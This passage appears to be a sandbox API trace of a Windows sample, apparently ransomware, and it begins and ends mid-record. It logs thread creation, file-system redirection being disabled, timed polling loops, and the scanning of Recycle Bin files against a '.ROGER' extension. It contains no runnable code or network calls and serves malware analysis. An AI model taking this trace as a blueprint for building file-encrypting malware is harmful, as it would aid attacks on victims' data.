dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0036.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0036.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0036.753] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.753] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x806950 [0036.753] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.753] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x806978 [0036.754] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.754] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.754] Wow64DisableWow64FsRedirection (in: OldValue=0x387ff84 | out: OldValue=0x387ff84*=0x0) returned 1 [0036.754] lstrlenW (lpString="kernel32.dll") returned 12 [0036.754] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806950 | out: hHeap=0x790000) returned 1 [0036.754] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.754] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806978 | out: hHeap=0x790000) returned 1 [0036.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x3280048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0036.756] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0036.964] GetTickCount () returned 0x1143e68 [0036.964] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0037.076] GetTickCount () returned 0x1143ed5 [0037.076] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0037.385] GetTickCount () returned 0x1143fbf [0037.385] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0038.348] GetTickCount () returned 0x1144193 [0038.348] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0038.570] GetTickCount () returned 0x114427d [0038.570] GetTickCount () returned 0x114427d [0038.570] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0038.975] GetTickCount () returned 0x1144413 [0038.975] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0039.299] GetTickCount () returned 0x114454b [0039.299] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0039.684] GetTickCount () returned 0x11446b1 [0039.684] GetTickCount () returned 0x11446b1 [0039.684] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0040.009] GetTickCount () returned 0x11447f9 [0040.009] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0040.315] GetTickCount () returned 0x1144912 [0040.315] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0040.525] GetTickCount () returned 0x11449bd [0040.525] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0040.977] GetTickCount () returned 0x1144b43 [0040.977] GetTickCount () returned 0x1144b43 [0040.977] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0041.450] GetTickCount () returned 0x1144d17 [0041.451] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0041.859] GetTickCount () returned 0x1144e7e [0041.859] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0042.066] GetTickCount () returned 0x1144f49 [0042.066] GetTickCount () returned 0x1144f49 [0042.067] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0042.327] GetTickCount () returned 0x1145052 [0042.327] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0042.727] GetTickCount () returned 0x114519a [0042.727] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0042.863] GetTickCount () returned 0x1145226 [0042.863] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0043.181] GetTickCount () returned 0x114535e [0043.181] GetTickCount () returned 0x114535e [0043.181] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0043.450] GetTickCount () returned 0x1145448 [0043.450] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0043.822] GetTickCount () returned 0x11455bf [0043.822] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0044.441] GetTickCount () returned 0x1145783 [0044.441] GetTickCount () returned 0x1145783 [0044.441] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0044.564] GetTickCount () returned 0x1145800 [0044.564] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0044.966] GetTickCount () returned 0x1145967 [0044.966] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0045.456] GetTickCount () returned 0x1145b1b [0045.456] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0045.824] GetTickCount () returned 0x1145c63 [0045.834] GetTickCount () returned 0x1145c63 [0045.834] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0046.169] GetTickCount () returned 0x1145dba [0046.169] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0046.477] GetTickCount () returned 0x1145ef2 [0046.477] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0046.977] GetTickCount () returned 0x11460e5 [0046.977] GetTickCount () returned 0x11460e5 [0046.977] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0047.374] GetTickCount () returned 0x114626b [0047.374] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0047.827] GetTickCount () returned 0x1146430 [0047.827] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0048.071] GetTickCount () returned 0x1146529 [0048.071] GetTickCount () returned 0x1146529 [0048.071] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0048.269] GetTickCount () returned 0x11465e5 [0048.269] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0048.424] GetTickCount () returned 0x1146681 [0048.424] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0048.601] GetTickCount () returned 0x114673c [0048.601] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0048.813] GetTickCount () returned 0x1146807 [0048.813] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0049.093] GetTickCount () returned 0x114691f [0049.093] GetTickCount () returned 0x114691f [0049.093] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0049.634] GetTickCount () returned 0x1146b41 [0049.634] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0050.003] GetTickCount () returned 0x1146cb8 [0050.003] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0050.258] GetTickCount () returned 0x1146db1 [0050.258] GetTickCount () returned 0x1146db1 [0050.258] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0050.424] GetTickCount () returned 0x1146e5d [0050.424] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0050.972] GetTickCount () returned 0x114707f [0050.972] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0051.297] GetTickCount () returned 0x11471c7 [0051.297] GetTickCount () returned 0x11471c7 [0051.297] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0051.466] GetTickCount () returned 0x1147263 [0051.466] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0051.861] GetTickCount () returned 0x11473f8 [0051.861] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0052.186] GetTickCount () returned 0x1147540 [0052.186] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0052.509] GetTickCount () returned 0x1147678 [0052.509] GetTickCount () returned 0x1147678 [0052.509] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0052.679] GetTickCount () returned 0x1147723 [0052.679] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0052.883] GetTickCount () returned 0x11477ee [0052.883] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0053.948] GetTickCount () returned 0x1147c13 [0053.948] GetTickCount () returned 0x1147c13 [0053.948] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0054.196] GetTickCount () returned 0x1147d1c [0054.202] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0054.522] GetTickCount () returned 0x1147e54 [0054.522] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0055.658] GetTickCount () returned 0x11482c7 [0055.658] GetTickCount () returned 0x11482c7 [0055.658] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0055.915] GetTickCount () returned 0x11483d0 [0055.915] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0056.221] GetTickCount () returned 0x11484f9 [0056.221] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0057.112] GetTickCount () returned 0x1148872 [0057.112] GetTickCount () returned 0x1148872 [0057.112] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0057.475] GetTickCount () returned 0x11489e8 [0057.475] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0057.646] GetTickCount () returned 0x1148a94 [0057.646] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0057.962] GetTickCount () returned 0x1148bcc [0057.962] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0058.150] GetTickCount () returned 0x1148c87 [0058.150] GetTickCount () returned 0x1148c87 [0058.150] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0058.583] GetTickCount () returned 0x1148e3c [0058.583] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0058.762] GetTickCount () returned 0x1148ee7 [0058.762] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0059.230] GetTickCount () returned 0x11490bc [0059.230] GetTickCount () returned 0x11490bc [0059.230] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0059.333] GetTickCount () returned 0x1149129 [0059.333] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0059.467] GetTickCount () returned 0x11491a6 [0059.467] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0059.764] GetTickCount () returned 0x11492ce [0059.764] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0059.962] GetTickCount () returned 0x1149399 [0059.962] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0060.099] GetTickCount () returned 0x1149425 [0060.099] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0060.237] GetTickCount () returned 0x11494b2 [0060.237] GetTickCount () returned 0x11494b2 [0060.237] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0060.894] GetTickCount () returned 0x1149741 [0060.894] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0061.091] GetTickCount () returned 0x11497fc [0061.091] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0061.467] GetTickCount () returned 0x1149972 [0061.467] GetTickCount () returned 0x1149972 [0061.467] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x102 [0061.884] GetTickCount () returned 0x1149b18 [0061.884] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x64) returned 0x0 [0062.063] GetTickCount () returned 0x1149bd3 [0062.063] Sleep (dwMilliseconds=0x64) [0062.556] GetTickCount () returned 0x1149db6 [0062.556] GetTickCount () returned 0x1149db6 [0062.556] Sleep (dwMilliseconds=0x64) [0063.393] GetTickCount () returned 0x114a101 [0063.393] Sleep (dwMilliseconds=0x64) [0063.584] GetTickCount () returned 0x114a1bc [0063.584] GetTickCount () returned 0x114a1bc [0063.584] Sleep (dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x9e4 [0036.750] GetTickCount () returned 0x1143ddb [0036.750] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x88a568 [0036.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0036.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0036.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310 [0036.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x88a568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0036.755] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.755] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x806978 [0036.755] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.755] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x806950 [0036.755] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.755] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.755] Wow64DisableWow64FsRedirection (in: OldValue=0x35fff84 | out: OldValue=0x35fff84*=0x0) returned 1 [0036.755] lstrlenW (lpString="kernel32.dll") returned 12 [0036.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806978 | out: hHeap=0x790000) returned 1 [0036.755] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806950 | out: hHeap=0x790000) returned 1 [0036.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8680b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0036.756] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0036.964] GetTickCount () returned 0x1143e68 [0036.964] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0037.076] GetTickCount () returned 0x1143ed5 [0037.076] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0037.386] GetTickCount () returned 0x1143fbf [0037.386] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0038.348] GetTickCount () returned 0x1144193 [0038.348] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0038.570] GetTickCount () returned 0x114427d [0038.570] GetTickCount () returned 0x114427d [0038.570] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0038.987] GetTickCount () returned 0x1144413 [0038.987] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0039.299] GetTickCount () returned 0x114454b [0039.299] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0039.684] GetTickCount () returned 0x11446b1 [0039.684] GetTickCount () returned 0x11446b1 [0039.684] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0040.009] GetTickCount () returned 0x11447f9 [0040.009] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0040.315] GetTickCount () returned 0x1144912 [0040.315] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0040.525] GetTickCount () returned 0x11449bd [0040.525] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0040.977] GetTickCount () returned 0x1144b43 [0040.977] GetTickCount () returned 0x1144b43 [0040.977] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0041.451] GetTickCount () returned 0x1144d17 [0041.451] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0041.860] GetTickCount () returned 0x1144e7e [0041.860] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0042.067] GetTickCount () returned 0x1144f49 [0042.067] GetTickCount () returned 0x1144f49 [0042.067] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0042.327] GetTickCount () returned 0x1145052 [0042.327] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0042.727] GetTickCount () returned 0x114519a [0042.727] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0042.863] GetTickCount () returned 0x1145226 [0042.863] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0043.181] GetTickCount () returned 0x114535e [0043.181] GetTickCount () returned 0x114535e [0043.181] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0043.450] GetTickCount () returned 0x1145448 [0043.450] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0043.822] GetTickCount () returned 0x11455bf [0043.822] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0044.441] GetTickCount () returned 0x1145783 [0044.441] GetTickCount () returned 0x1145783 [0044.441] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0044.564] GetTickCount () returned 0x1145800 [0044.564] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0044.966] GetTickCount () returned 0x1145967 [0044.966] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0045.456] GetTickCount () returned 0x1145b1b [0045.456] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0045.834] GetTickCount () returned 0x1145c63 [0045.834] GetTickCount () returned 0x1145c63 [0045.834] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0046.170] GetTickCount () returned 0x1145dba [0046.170] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0046.477] GetTickCount () returned 0x1145ef2 [0046.477] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0046.977] GetTickCount () returned 0x11460e5 [0046.977] GetTickCount () returned 0x11460e5 [0046.977] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0047.374] GetTickCount () returned 0x114626b [0047.374] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0047.827] GetTickCount () returned 0x1146430 [0047.827] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0048.071] GetTickCount () returned 0x1146529 [0048.072] GetTickCount () returned 0x1146529 [0048.072] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0048.269] GetTickCount () returned 0x11465e5 [0048.269] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0048.424] GetTickCount () returned 0x1146681 [0048.424] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0048.601] GetTickCount () returned 0x114673c [0048.601] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0048.813] GetTickCount () returned 0x1146807 [0048.813] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0049.093] GetTickCount () returned 0x114691f [0049.093] GetTickCount () returned 0x114691f [0049.093] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0049.637] GetTickCount () returned 0x1146b51 [0049.645] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0050.003] GetTickCount () returned 0x1146cb8 [0050.003] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0050.258] GetTickCount () returned 0x1146db1 [0050.258] GetTickCount () returned 0x1146db1 [0050.258] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0050.424] GetTickCount () returned 0x1146e5d [0050.424] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0050.972] GetTickCount () returned 0x114707f [0050.972] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0051.297] GetTickCount () returned 0x11471c7 [0051.297] GetTickCount () returned 0x11471c7 [0051.297] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0051.466] GetTickCount () returned 0x1147263 [0051.466] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0051.861] GetTickCount () returned 0x11473f8 [0051.861] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0052.186] GetTickCount () returned 0x1147540 [0052.186] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0052.509] GetTickCount () returned 0x1147678 [0052.509] GetTickCount () returned 0x1147678 [0052.509] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0052.679] GetTickCount () returned 0x1147723 [0052.679] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0052.883] GetTickCount () returned 0x11477ee [0052.883] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0053.948] GetTickCount () returned 0x1147c13 [0053.948] GetTickCount () returned 0x1147c13 [0053.948] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0054.202] GetTickCount () returned 0x1147d1c [0054.202] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0054.523] GetTickCount () returned 0x1147e54 [0054.523] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0055.658] GetTickCount () returned 0x11482c7 [0055.658] GetTickCount () returned 0x11482c7 [0055.658] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0055.915] GetTickCount () returned 0x11483d0 [0055.915] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0056.221] GetTickCount () returned 0x11484f9 [0056.221] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0057.112] GetTickCount () returned 0x1148872 [0057.112] GetTickCount () returned 0x1148872 [0057.112] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0057.475] GetTickCount () returned 0x11489e8 [0057.475] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0057.646] GetTickCount () returned 0x1148a94 [0057.646] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0058.005] GetTickCount () returned 0x1148bfb [0058.005] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0058.175] GetTickCount () returned 0x1148c97 [0058.175] GetTickCount () returned 0x1148c97 [0058.175] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0058.583] GetTickCount () returned 0x1148e3c [0058.583] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0058.762] GetTickCount () returned 0x1148ee7 [0058.762] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0059.230] GetTickCount () returned 0x11490bc [0059.230] GetTickCount () returned 0x11490bc [0059.231] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0059.333] GetTickCount () returned 0x1149129 [0059.333] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0059.468] GetTickCount () returned 0x11491a6 [0059.468] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0059.764] GetTickCount () returned 0x11492ce [0059.764] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0059.962] GetTickCount () returned 0x1149399 [0059.963] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0060.099] GetTickCount () returned 0x1149425 [0060.099] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0060.237] GetTickCount () returned 0x11494b2 [0060.238] GetTickCount () returned 0x11494b2 [0060.238] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0060.894] GetTickCount () returned 0x1149741 [0060.894] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0061.091] GetTickCount () returned 0x11497fc [0061.091] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0061.467] GetTickCount () returned 0x1149972 [0061.467] GetTickCount () returned 0x1149972 [0061.467] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x102 [0061.884] GetTickCount () returned 0x1149b18 [0061.884] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x64) returned 0x0 [0061.884] GetTickCount () returned 0x1149b18 [0061.884] Sleep (dwMilliseconds=0x64) [0062.072] GetTickCount () returned 0x1149bd3 [0062.072] Sleep (dwMilliseconds=0x64) [0062.556] GetTickCount () returned 0x1149db6 [0062.556] GetTickCount () returned 0x1149db6 [0062.556] Sleep (dwMilliseconds=0x64) [0063.394] GetTickCount () returned 0x114a101 [0063.394] Sleep (dwMilliseconds=0x64) [0063.584] GetTickCount () returned 0x114a1bc [0063.584] GetTickCount () returned 0x114a1bc [0063.585] Sleep (dwMilliseconds=0x64) Thread: id = 12 os_tid = 0xa08 Thread: id = 13 os_tid = 0xa90 [0036.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32a2f90 [0036.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x32b2f98 [0036.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32954e0 [0036.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a22c0 [0036.985] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32954f8 [0036.986] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4740020 [0036.986] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.986] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x806a18 [0036.986] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295468 [0036.986] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295468, Size=0x20) returned 0x8069c8 [0036.986] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.986] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.986] Wow64DisableWow64FsRedirection (in: OldValue=0x3bfff58 | out: OldValue=0x3bfff58*=0x0) returned 1 [0036.986] lstrlenW (lpString="kernel32.dll") returned 12 [0036.986] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.986] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.986] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.987] Sleep (dwMilliseconds=0x64) [0037.151] lstrcmpiW (lpString1=".ini", lpString2=".ROGER") returned -1 [0037.151] lstrlenW (lpString="desktop.ini") returned 11 [0037.151] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.151] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=129) returned 1 [0037.151] CloseHandle (hObject=0x34c) returned 1 [0037.151] GetFileAttributesW 